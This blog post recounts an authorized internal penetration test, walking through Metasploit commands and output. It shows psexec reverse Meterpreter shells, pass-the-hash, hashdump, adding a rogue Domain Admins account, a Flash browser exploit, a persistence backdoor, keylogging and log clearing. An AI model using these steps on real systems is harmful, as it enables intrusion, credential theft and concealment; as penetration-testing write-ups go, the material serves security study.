Saturday, January 9, 2016

Internal Penetration Test

The following outlines the approach that was taken to exploit a few vulnerabilities discovered during an internal penetration test I did for a client.  Before I begin, please keep in mind the client had a couple caveats that I had to follow.   

For example:

  1. Any vulnerability that require a system to "crash" overflowing the buffer or to create a denial of service condition in order to successfully exploit it, was not permitted.
  2. Every critical finding must be validated, but also document on how to replicate the exploitation by a "layman".
  3. Any exploitation that involves backdoors, i.e., any technique that is designed to be persistent and therefore difficult to be removed, wasn't allowed.
  4. Only technical exploitation is permitted, i.e., no social engineering techniques.
  5. During this engagement; conduct it as a red team player. (BTW I was the only team member...)
  6. Complete everything within 80 hours and during normal business day.

These types of "out-of-scope" conditions is pretty common.  Before you decry foul about how the scope does not account for every possible scenario, see it from the client's point of view. 

The solution the client hired you to look at, to simply put it, is a revenue generating income stream.  How much revenue it's projected to make will dictate how much they're willing to spend.  Also consider the cost of recovery when an outage occurs.  And in the mindset of most clients, it isn't about making it absolutely perfect and impregnable.  Because its cheap to restore from the last known good.  Plus its more important to avoid being nickeled and dimed just to try and keep it alive.  (Or at least have enough lead time to come up the next revenue generator.)  This is where you come in.


If its in the beginning, its about making (besides business 101) sure the start will be "as" successful as they can afford (resources, time and money) it to be.  If its after, an incident (or called out to the point it can't be ignored) has occurred and therefore precipitated a need to be tested before the relaunch, or its generating enough revenue that someone is really concerned about losing their gold laying goose because of unscheduled downtime.


So its your job as a pen tester to help your client to understand if their product is ready to launch and/or what are the chances for their money making machine once its exposed to the wild to survive.



101

Of course all assessments including penetration testing starts with researching the target of interest, by first enumerating the human processes, and technical infrastructure.  Using commonly available tools, (i.e., Maltego, NMap, Nessus and Metasploit) a hacker can quickly profile the target environment.  

I use Maltego to help me identify the human elements; possible entry points based on who (and what) is associated with the target (employees, business partners, etc.), the type of technologies they use, any issues they are experiencing based on the questions they ask within forums, etc.

NMap to help understand the scope of technologies and services the client is reliant upon.  While Nessus has network scanning built in, its easier to bake it into a custom script in order to maximize the stealth options. Nessus for identifying all of the potential vulnerabilities that can be used to gain access.  And of course, pair it with NMap to limit the scope of what Nessus is looking at. 

Then there's Metasploit, the goto tool for automating the exploitation process.  Call me a script kiddie if you want, but go back to scope statement number two and six.  It just saves time and effort.

Int Pen Test

I started the engagement doing a complete NMap and Nessus scan.  I had to forego the stealthy, slow, decoy options, due to the time constraints.  And the goal wasn't to find every possible vulnerability down to the nth level, just those enough to help identify the annoyances and broken operational processes.

Once I completed the scans its time to import NMap and Nessus results into Metasploit.  But first I (check the OCD box) needed to do some housekeeping chores first.  (This was pre Dave Kennedy's Pen Testers Framework.  Now, I just PTF it.)

1.  Boot into the latest Kali Linux distro

2.  Open a terminal
3.  Update the distro

# apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y


4.  Now type msfconsole


# msfconsole


5.  Create/open the database


msf > workspace CLIENT


5a. If you get a "Database not connected" try:


msf > db_connect -y /opt/framework/config/database.yml


6.  Run a NMap scan against the target environment


msf > db_nmap -A 192.168.0.0/16


7.  Import the results of the Nessus scan into Metasploit


msf > db_import nessus_report_CLIENT.nessus


8.  List the hosts


msf > hosts


9.  List the services


msf > services


10.  List the discovered vulnerabilities (also be sure to reference the Nessus Report), for example:


msf > vulns -S 192.168.50.95


[*] Time: 2013-02-01 16:44:35 UTC Vuln: host=192.168.50.95 name=DCE Services Enumeration refs=NSS-10736

[*] Time: 2013-02-01 16:44:35 UTC Vuln: host=192.168.50.95 name=Microsoft Windows SMB Share Hosting Office Files refs=NSS-23974
<shorten for brevity...>


Default Password (Nessus Plugin ID - 33852, 26918)

It seems we found some local Administrator accounts with blank passwords on 192.168.50.95 and 192.168.50.64 and an admin level account called db2admin having the same password as its username.  So what does this tell you?  It might be isolated incidents or they have systemic problems regarding consistency in system builds.  In either case, we now have a way in.

msf > vulns - S "Adminitrator"


[*] Time: 2013-02-01 16:44:38 UTC Vuln: host=192.168.50.95 name=Microsoft Windows SMB Blank Administrator Password refs=CVE-1999-0504,CVE-1999-0505,CVE-1999-0506,CVE-2000-0222,CVE-2005-3595,BID-990,BID-11199,OSVDB-297,OSVDB-3106,OSVDB-10050,MSF-Microsoft Windows Authenticated User Code Execution,NSS-26918


NOTE: Additional keywords could have been used were "Administrator", "Default", "Password", and "Blank"



Exploiting SMB with psexec

I like to refer to this as a cascading attack.  In the previous finding we found a local Admin account with a black password.  In of itself, this is a big finding.  But what if we wanted to create a way to persistently exists on the network if this was fixed later on.  Guess what? Now you can, because another vulnerability was found that would allow you to do just that.  Refer to Offensive Security's write-up why this is a critical finding.   They also have a write-up on how to pass the hash.  This is the approach that I took so I'm sticking with it.

1. Use the exploit psexec


msf > use exploit/windows/smb/psexec


2. Set the payload


msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

3. Set the LHOST to the local host IP address


msf exploit(psexec) > set LHOST 192.168.99.209

LHOST => 192.168.99.209

4. Set the LPORT to anything available


msf exploit(psexec) > set LPORT 443

LPORT => 443

5. Set the RHOST to the system to be exploited


msf exploit(psexec) > set RHOST 192.168.50.95

RHOST => 192.168.50.95

6. Make sure everything is set


msf exploit(psexec) > show options


Module options:


   Name        Current Setting Required  Description

   ----            ---------------      --------  -----------
   RHOST    192.168.50.95    yes       The target address
   RPORT    445                     yes       Set the SMB service port
   SMBPass                            no        The password for the specified username
   SMBUser  Administrator   yes       The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):


   Name            Current Setting  Required  Description

   ----                 ---------------      --------  -----------
   EXITFUNC  thread                yes       Exit technique: seh, thread, process
   LHOST        192.168.99.209  yes       The local address
   LPORT         443                    yes       The local port


Exploit target:


   Id  Name

   --  ----
   0   Automatic

*NOTE: Within one environment, the odds are in the hacker's favor that the Local Administrator account password is the same across multiple systems.  If a hacker is able to download the LM hash file, they won't even have to crack it, just download and copy and paste it.  e.g.,


msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c


7. If the settings are correct, exploit it


msf exploit(psexec) > exploit

[*] Connecting to the server...

[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \KoVCxCjx.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.50.95[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.50.95[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \KoVCxCjx.exe...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.99.209:443 -> 192.168.50.95:1045)

meterpreter >


8. The "meterpreter" prompt means the exploit was successful, and a hacker has local administrative rights on the box.


9. By typing "shell", gives you command line "terminal" access to the box.


meterpreter > shell

Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>


10. Type "exit" to jump back to the meterpreter prompt.


11. To find out what type of box, the hacker simply types "sysinfo".


For demonstration only: if the computer type happen to be a Domain Controller, a hacker could do a "hashdump" and gain access to neighboring systems, without having to crack the password.


meterpreter > sysinfo

System Language : en_US
OS                         : Windows 2008 R2 (Build 7601, Service Pack 1).
Computer              : DOMAINCONTROLLE
Architecture          : x64 (Current Process is WOW64)
Meterpreter           : x86/win32

From here, the hacker would simply do a "ps" to find a process that would typically run as privilege account, do a "migrate" to change to that process such as, dns.exe with SYSTEM privileges and do a "hashdump".  Note, you need to find a 64-bit SYSTEM process versus a 32-bit in order for this to work on a W2K8 64-bit.


12. To check if its a Virtual box


meterpreter > run checkvm


[*] Checking if 192.168.50.95 is a Virtual Machine ........

[*] This is a VMware Workstation/Fusion Virtual Machine

13. The 'getcountermeasure' script checks the security configuration on the system and can disable other security measures such as A/V, Firewall, and much more.


meterpreter > run getcountermeasure


[*] Running Getcountermeasure on the target...

[*] Checking for contermeasures...
[*] Getting Windows Built in Firewall configuration...
[*]  
[*]     Domain profile configuration:
[*]     -------------------------------------------------------------------
[*]     Operational mode                  = Disable
[*]     Exception mode                    = Enable
[*]  
[*]     Standard profile configuration:
[*]     -------------------------------------------------------------------
[*]     Operational mode                  = Disable
[*]     Exception mode                    = Enable
[*]  
[*]     Local Area Connection 6 firewall configuration:
[*]     -------------------------------------------------------------------
[*]     Operational mode                  = Disable
[*]  
[*] Checking DEP Support Policy...

15. Just in case the Administrator account is changed, goto back into the shell and create an account.  And if you have domain administrator's privileges be sure to tack on "/DOMAIN"


meterpreter > shell


C:\Windows\system32>net user metasploit p@55w0rd /ADD

C:\Windows\system32>net group "Domain Admins" metasploit /ADD

15. Do a hashdump


meterpreter > hashdump


Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6nfe0d16ae931b73c59d7e0c089c0:::

ASPNET:1003:b1eb876ce14dc283594153934628466c:a1e5d931400fd77f6107a5d4050b4af0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1004:4d83c61a6e1a76b06679008f467d27d3:e7150ce0fc93dc00f610e1c0d3fb54bf:::
mediaplayer:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c58d7e0c089c0:::
metasploit:1002:aad3b435b51404eeaad3b435b51404ee:faf25868710610de776ae4158d493fe2:::

16.  Besides creating accounts, and doing recognizance of the local and neighboring systems, a hacker can also easily "upload" executables (e.g., botnet, trojans) files or "download" sensitive documents, modify existing files or even use system as a mule to attack neighboring systems.



Adobe Flash Player (Nessus Plugin - 31799)

This is a perfect example of when a software developer doesn't take security into account as part of their software development lifecycle.  And instead of thanking the person with identifying the problem they decided for whatever reason to go after him with a vengeance.   Think ego got the best of them and now there isn't a day that goes by Adobe's products aren't susceptible to some critical finding.  Anyways, find Adobe installed somewhere, you've found your way in.

msf > use exploit/windows/browser/adobe_flashplayer_arrayindexing

msf  exploit(adobe_flashplayer_arrayindexing) > set payload /windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf  exploit(adobe_flashplayer_arrayindexing) > set lhost 192.168.99.209

lhost => 192.168.99.209

msf  exploit(adobe_flashplayer_arrayindexing) > exploit


[*] Exploit running as background job.

[*] Started reverse handler on 192.168.99.209:4444
[*] Using URL: http://0.0.0.0:8080/nczHfpYr
msf  exploit(adobe_flashplayer_arrayindexing) >
[*]  Local IP: http://192.168.99.209:8080/nczHfpYr
[*] Server started.
[*] 192.168.50.64        adobe_flashplayer_arrayindexing - Sending Adobe Flash Player AVM Verification Logic Array Indexing Code Execution HTML
[*] 192.168.50.64        adobe_flashplayer_arrayindexing - Sending malicious swf
[*] 192.168.50.64        adobe_flashplayer_arrayindexing - Sending payload
[*] Sending stage (752128 bytes) to 192.168.50.64
[*] Meterpreter session 1 opened (192.168.99.209:4444 -> 192.168.50.64:1099) at 2012-06-04 23:03:01 -0500
[*] Session ID 1 (192.168.99.209:4444 -> 192.168.50.64:1099) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2200)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2952
[+] Successfully migrated to process


Anonymous FTP (Nessus Plugin - 10079, 34324)

1. Open a terminal and type in the following

ftp 192.168.26.32

Connected to 192.168.26.32.

220 Microsoft FTP Service
User (192.168.26.32:(none)):

2. Type in:


User (192.168.26.32:(none)): Anonymous


331 Anonymous access allowed, send identity (e-mail name) as password.


3. If prompted for a password type in


Password: anony@microsoft.com


4. If successful, do a "ls" command



SMB NULL Session (Nessus Plugin ID - 26920)

1. From any Windows systems (or one that has been 'pwnd')

meterpreter > shell

Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>


2. Run the "net use" command


C:\WINDOWS\system32> net use \\192.168.50.95\IPC$ "" /u: ""


3. Do whatever reconnaissance gather, install backdoors, create accounts, etc.


C:\WINDOWS\system32> net use

C:\WINDOWS\system32> nbtstat -A 192.168.50.95


Maintaining access by planting backdoor

Unfortunately I could not preform the following actions during the internal penetration test due to the rules of engagement.  If I could have, I would have taken the following steps:

1. On the exploited system


meterpreter > run persistence -S -i 7 -p 443 -r 192.168.50.95

[*] Running Persistence Script
[*] Resource file for cleanup create at /root/.msf4/persistence/WINXP-1_20120604.1431/WINXP-1)20120604.1431.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.50.95 LPORT=443
[*] Persistent agent script is 609615 bytes long
[*] Persistent Script written to C:\WINDOWS\TEMP\herNEE.vbs
[+] Agent executed with PID 2952
[*] Installing as service..
[*] Creating service hDFbkpZQqoTkBx


To pilfer information without planting a backdoor

1. List all of the running processes

meterpreter > ps


2. Selects a PID number to impersonate


meterpreter > migrate [PID #, e.g.,1799]


3. Start the keylogger


meterpreter > keyscan_start


4. Periodically do a dump in order to see what has been captured


meterpreter > keyscan_dump



Clearing "your" tracks

Based on an interpretation of the rules, I did not preform this action in order to aid them in validating a breach occurred and to help in the cleanup process.  However, given the chance, it would have help avoid detection and discovery by removing any traces of your dastardly deeds.

meterpreter > clearev


Metasploit makes life so much easier!


Conclusion

For this client I either exploited or at the very least explored all of the possibilities within a relatively short period of time.  However, there are times when a client attempts to point out certain findings as being false positives.   For example, the client keep insisting they weren't running DB2 servers on the network.  And went as far as to tell me they had seen this same findings in all of the previous reports by other 3rd party pen test teams that had come through.  (To this day, I'm not sure why these teams didn't try to validate the finding.)

So, of course I had to prove it existed and that is was an actual threat to their business.  First, as we know, there's the issue of default credentials.  It was likely, these same credentials allowed remote access and were part of the local administrators group.   First I downloaded the DB2 client from IBM's website.  That worked.  And then search through the MSF database for what services were allowed; both SMB and RDP.  RDP failed, but SMB worked.  Exploited SMB which I then used as a pivot point to explore the rest of their network.  And to make this even tougher, I had to do this as a live demo in a packed conference room with doubters and nay sayers.  (Somehow I appeased the demo gods that day.) 

It may have also helped that I left a text file on the root drive of every server and workstation I had  access to with a message that stated, "You've been pwned!"  That might have push it a bit over the edge, but even my most fervent disbeliever (i.e., the person who sponsored the assessment) were left speechless after that.

Needless to say, this was a fun and refreshing engagement.

No comments:

Post a Comment